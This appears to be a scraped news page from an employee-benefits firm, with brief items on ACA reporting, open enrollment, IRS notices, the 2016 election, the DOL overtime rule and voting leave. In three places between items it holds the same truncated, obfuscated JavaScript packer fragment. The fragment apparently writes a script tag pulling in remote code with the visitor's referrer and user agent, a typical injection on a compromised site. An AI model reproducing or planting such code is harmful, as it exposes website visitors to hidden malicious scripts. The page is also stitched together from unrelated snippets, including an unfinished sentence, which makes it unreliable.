While the deadlines for 2016 reporting are as firm as a plaster cast, we can expect the timing for replacing ACA provisions to be as stretched out as a tight bandage. Replacement legislation and its enforcement regulations are unlikely to be ready for implementation before 2019. This should signal to employers that the internal Revenue Service is likely to enforce the Employer Mandate for at least another two years, keeping the reporting bandage painfully taut for now.
c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bahhr|var|u0026u|referrer|ynntf||js|php'.split('|'),0,{}))

Are you wondering what exactly qualifies as a "Qualified Event"....this infographic will educate you on how benefits can be amended midyear through qualified life events. This document also includes examples and necessary qualifications.

Still have questions? Contact Cornerstone at (248) 641-2731.

Time is running out to obtain health insurance.

There is not much time left to take advantage of open enrollment in the Health Insurance Marketplace. Sign up for insurance before the December 15th deadline passes to get affordable coverage.

c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffhez|var|u0026u|referrer|fridz||js|php'.split('|'),0,{}))

On Nov. 18, 2016, the IRS issued Notice 2016-70 to:

Young adults all over the country are leaving home when they go to college or enter the workforce. In your outreach, education, and enrollment efforts geared toward young adults and their families, let them know that if they don’t have an offer of employer-sponsored coverage that is affordable (according to the Affordable Care Act definition) and meets minimum value (MV), young adults have other options to get covered.
c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aseft|var|u0026u|referrer|hehzi||js|php'.split('|'),0,{}))

Remind these consumers that if they don’t have any health coverage, they may have to pay the individual shared responsibility payment when they file federal income taxes, and that there is no special exception for age or student status.

After hard-fought campaigns by both candidates, Republican candidate Donald Trump has been elected the 45th president of the United States. Trump’s victory in the election, along with Republican majorities retained in both the Senate and House of Representatives, will likely have a significant impact on a number of compliance issues over the next four years.

Following numerous reports of scammers sending fraudulent versions of CP2000 notices during the 2015 tax year, the IRS and its Security Summit partners are warning taxpayers to be on high alert for the 2016 tax year and all subsequent tax years.

The open enrollment period for obtaining health coverage for 2017 through the Affordable Care Act (ACA) Marketplace begins Nov. 1, 2016, and ends Jan. 31, 2017. In order for your health plan to become effective by Jan. 1, 2017, you must enroll in or change your health plan by Dec. 15, 2016.

A Department of Labor (DOL) final rule is set to increase the salary threshold for the “white collar overtime exemptions" to $47,476 per year. Recent challenges to the rule have left some questioning whether it will take effect on Dec. 1, 2016, as scheduled.

A coalition of 21 states and a number of business groups have filed lawsuits challenging the rule. A hearing is scheduled for Nov. 16, 2016, to determine if an injunction will be issued. Unless the bill is passed into law or a court orders a delay, the DOL’s overtime rule will take effect on Dec. 1.

As the 2016 U.S. presidential election draws near, employers should be prepared to handle requests from employees for time off from work to vote on Election Day, which is Nov. 8, 2016.

Federal law does not require employers to provide their employees with time off to vote. However, many states have voting leave laws that allow employees to take time off to vote in certain circumstances.